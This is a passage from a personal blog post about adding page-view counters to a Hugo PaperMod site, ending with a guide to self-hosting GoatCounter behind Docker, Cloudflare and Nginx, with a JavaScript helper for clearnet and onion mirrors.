<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;site-meta-row&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/index.xml&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;alternate&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;application/rss+xml&#34;</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;RSS&#34;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;rss-link&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:inline-flex;align-items:center;gap:.35rem;&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    { partial &#34;svg.html&#34; (dict &#34;name&#34; &#34;rss&#34;) }
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">span</span>&gt;RSS&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;true&#34;</span>&gt;·&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span>&gt;Site views: &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vercount_value_site_pv&#34;</span>&gt;—&lt;/<span style="color:#f92672">span</span>&gt;&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;true&#34;</span>&gt;·&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span>&gt;Visitors: &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vercount_value_site_uv&#34;</span>&gt;—&lt;/<span style="color:#f92672">span</span>&gt;&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span></code></pre></div><p>For per‑post counts (in the post meta), I added:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vercount_value_page_pv&#34;</span>&gt;—&lt;/<span style="color:#f92672">span</span>&gt; views
</span></span></code></pre></div><p>Deploy. Refresh. <strong>Numbers.</strong></p>
<h3 id="but-if-you-want-to-stay-with-busuanzi">But if you want to stay with Busuanzi…</h3>
<p>If your apex domain is short enough, pointing the site there works fine. The gist:</p>
<ul>
<li>
<p>Set <code>baseURL</code> in Hugo to the apex:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">&#34;https://alipourimjourneys.ir/&#34;</span>
</span></span></code></pre></div></li>
<li>
<p>Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).</p>
</li>
<li>
<p>Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.</p>
</li>
</ul>
<h3 id="postmortem-checklist-aka-things-i-learned">Post‑mortem checklist (a.k.a. things I learned)</h3>
<ul>
<li><strong>If the script loads but you get blanks</strong>, it’s not always IDs or caching. Sometimes it’s a <strong>service rule</strong>.</li>
<li><strong>Busuanzi refuses long hostnames</strong> (&gt;22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.</li>
<li><strong>Don’t mix providers</strong> on the same page. Load exactly one script (Busuanzi <em>or</em> Vercount).</li>
<li><strong>CSP and blockers matter.</strong> If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.</li>
</ul>
<h3 id="happy-ending">Happy ending</h3>
<p>Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.</p>
<p>If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.</p>
<h3 id="final-notes">Final notes</h3>
<p>Yea&hellip; I just felt this feature was missing, and it&rsquo;s good to have it there.
I hope I stop adding things to the blog, and just keep writing in it.
I&rsquo;ve spent too much time on it, and it feels like wasted time.</p>
<hr>
<h2 id="change-of-plans-selfhosting-goatcounter-for-papermod-docker--cloudflare--onion">Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)</h2>
<p>This is the <strong>self‑host</strong> part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my <code>.onion</code> mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.</p>
<hr>
<h3 id="1-clean-up-old-counters-optional-once">1) Clean up old counters (optional, once)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># From your Hugo site root</span>
</span></span><span style="display:flex;"><span>grep -RinE <span style="color:#e6db74">&#34;busuanzi|vercount|vercount_value_|busuanzi_value_&#34;</span> .
</span></span></code></pre></div><p>Remove any matching <code>&lt;script&gt;</code> and leftover <code>*_value_*</code> spans you no longer want.</p>
<hr>
<h3 id="2-run-goatcounter-with-docker-compose">2) Run GoatCounter with Docker Compose</h3>
<p>Minimal <code>docker-compose.yml</code> in <code>~/goatcounter</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">goatcounter</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">arp242/goatcounter:2.6</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">goatcounter</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;127.0.0.1:8081:8080&#34;</span>   <span style="color:#75715e"># bind only to localhost; nginx will proxy</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">goatcounter-data:/home/goatcounter/goatcounter-data</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">goatcounter-data</span>: {}
</span></span></code></pre></div><p>Start:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose pull <span style="color:#f92672">&amp;&amp;</span> docker compose up -d
</span></span></code></pre></div><p>Initialize the site (replace email if needed):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec goatcounter   goatcounter db create site   -vhost<span style="color:#f92672">=</span>statsblog.alipourimjourneys.ir   -user.email<span style="color:#f92672">=</span>iman.alip2001@gmail.com
</span></span></code></pre></div><blockquote>
<p>If you ever see “no site at this domain” on localhost: use the exact <strong>vhost</strong> above.</p></blockquote>
<hr>
<h3 id="3-cloudflare--origin-certificate-cf--origin-tls">3) Cloudflare + Origin certificate (CF → origin TLS)</h3>
<ul>
<li>DNS: <code>statsblog.alipourimjourneys.ir</code> → server IP (<strong>proxied/orange</strong>).</li>
<li>SSL/TLS mode: <strong>Full (strict)</strong>.</li>
<li>Issue a <strong>Cloudflare Origin Certificate</strong> for <code>statsblog.alipourimjourneys.ir</code> and save on the server:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /etc/ssl/cloudflare
</span></span><span style="display:flex;"><span>sudo nano /etc/ssl/cloudflare/origin.crt   <span style="color:#75715e"># paste PEM</span>
</span></span><span style="display:flex;"><span>sudo nano /etc/ssl/cloudflare/origin.key   <span style="color:#75715e"># paste key</span>
</span></span><span style="display:flex;"><span>sudo chown root:root /etc/ssl/cloudflare/origin.<span style="color:#f92672">{</span>crt,key<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">644</span> /etc/ssl/cloudflare/origin.crt
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">600</span> /etc/ssl/cloudflare/origin.key
</span></span></code></pre></div><hr>
<h3 id="4-nginx-vhost-for-the-stats-subdomain">4) Nginx vhost for the stats subdomain</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/ssl/cloudflare/origin.crt</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/ssl/cloudflare/origin.key</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Proxy to the container on localhost
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span>              $host;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span>         $remote_addr;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span>   $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8081</span>; }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Enable &amp; reload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span></code></pre></div><hr>
<h3 id="5-hugo-integration-clearnet--onion-singularplural--0-views">5) Hugo integration (clearnet + onion, singular/plural + “0 views”)</h3>
<p>Self‑host <code>count.js</code> so the onion mirror never fetches a third‑party script:</p>
<ul>
<li>Save the official <code>count.js</code> as <code>static/js/count.js</code> in your Hugo repo.</li>
</ul>
<p>Then add this to <code>layouts/partials/extend_head.html</code> <strong>(loader + helper)</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- Loader: choose endpoint based on hostname --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/\.onion$/i</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hostname</span>);
</span></span><span style="display:flex;"><span>  window.<span style="color:#a6e22e">goatcounter</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">endpoint</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;/count&#39;</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;https://statsblog.alipourimjourneys.ir/count&#39;</span> };
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#39;script&#39;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">s</span>.<span style="color:#66d9ef">async</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>; <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">src</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;/js/count.js&#39;</span>;
</span></span><span style="display:flex;"><span>  document.<span style="color:#a6e22e">head</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">s</span>);
</span></span><span style="display:flex;"><span>})();
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- Helper: inline meta counts (post pages + lists) and totals --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/\.onion$/i</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hostname</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">GC_HOST</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;&#39;</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;https://statsblog.alipourimjourneys.ir&#39;</span>; <span style="color:#75715e">// &#39;&#39; = same-origin on .onion
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">SING</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;view&#39;</span>, <span style="color:#a6e22e">PLUR</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;views&#39;</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">nf</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Intl</span>.<span style="color:#a6e22e">NumberFormat</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">ready</span>(<span style="color:#a6e22e">fn</span>){ <span style="color:#66d9ef">if</span> (document.<span style="color:#a6e22e">readyState</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;loading&#39;</span>) <span style="color:#a6e22e">fn</span>(); <span style="color:#66d9ef">else</span> document.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;DOMContentLoaded&#39;</span>, <span style="color:#a6e22e">fn</span>); }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">gcPath</span>(){ <span style="color:#66d9ef">try</span> { <span style="color:#66d9ef">return</span> (window.<span style="color:#a6e22e">goatcounter</span> <span style="color:#f92672">&amp;&amp;</span> window.<span style="color:#a6e22e">goatcounter</span>.<span style="color:#a6e22e">get_data</span>) <span style="color:#f92672">?</span> window.<span style="color:#a6e22e">goatcounter</span>.<span style="color:#a6e22e">get_data</span>().<span style="color:#a6e22e">p</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">pathname</span>; } <span style="color:#66d9ef">catch</span> { <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">pathname</span>; } }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#a6e22e">path</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">r</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">GC_HOST</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/counter/</span><span style="color:#e6db74">${</span>encodeURIComponent(<span style="color:#a6e22e">path</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">.json?t=</span><span style="color:#e6db74">${</span>Date.<span style="color:#a6e22e">now</span>()<span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>, { <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#39;omit&#39;</span> });
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">status</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">404</span>) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">ok</span>) <span style="color:#66d9ef">throw</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">json</span>();
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> Number(String(<span style="color:#a6e22e">j</span>.<span style="color:#a6e22e">count</span>).<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">/,/g</span>,<span style="color:#e6db74">&#39;&#39;</span>));
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> Number.isFinite(<span style="color:#a6e22e">n</span>) <span style="color:#f92672">?</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> { <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>; }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">label</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">n</span>) =&gt; (<span style="color:#a6e22e">n</span> <span style="color:#f92672">===</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;—&#39;</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">nf</span>.<span style="color:#a6e22e">format</span>(<span style="color:#a6e22e">n</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74"> </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">n</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">?</span> <span style="color:#a6e22e">SING</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">PLUR</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ready</span>(<span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// A) Single post: add to existing meta row + small bottom
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">post</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.post-single&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">post</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">meta</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">post</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.post-header .post-meta, .post-header .entry-meta, .post-meta&#39;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">gcPath</span>();
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#a6e22e">path</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">meta</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.post-views&#39;</span>); <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">span</span>) { <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#39;span&#39;</span>); <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">className</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;post-views&#39;</span>; <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">span</span>); }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">label</span>(<span style="color:#a6e22e">n</span> <span style="color:#f92672">??</span> <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">after</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">post</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.post-content&#39;</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">post</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">bottom</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">post</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.post-views-bottom&#39;</span>); <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">bottom</span>) { <span style="color:#a6e22e">bottom</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#39;div&#39;</span>); <span style="color:#a6e22e">bottom</span>.<span style="color:#a6e22e">className</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;post-views-bottom&#39;</span>; <span style="color:#a6e22e">after</span>.<span style="color:#a6e22e">insertAdjacentElement</span>(<span style="color:#e6db74">&#39;afterend&#39;</span>, <span style="color:#a6e22e">bottom</span>); }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">bottom</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">label</span>(<span style="color:#a6e22e">n</span> <span style="color:#f92672">??</span> <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// B) Lists (/posts, home, sections): show “0 views” instead of hiding
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cards</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelectorAll</span>(<span style="color:#e6db74">&#39;article.post-entry&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> Promise.<span style="color:#a6e22e">all</span>(Array.<span style="color:#a6e22e">from</span>(<span style="color:#a6e22e">cards</span>).<span style="color:#a6e22e">map</span>(<span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">card</span>) =&gt; {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">meta</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">card</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.entry-footer, .post-meta&#39;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">link</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">card</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;a.entry-link, h2 a, .entry-title a&#39;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">meta</span> <span style="color:#f92672">||</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">link</span>) <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">u</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">link</span>.<span style="color:#a6e22e">getAttribute</span>(<span style="color:#e6db74">&#39;href&#39;</span>), <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">origin</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">u</span>.<span style="color:#a6e22e">origin</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">origin</span>) <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.post-views&#39;</span>); <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">span</span>) { <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#39;span&#39;</span>); <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">className</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;post-views&#39;</span>; <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">span</span>); }
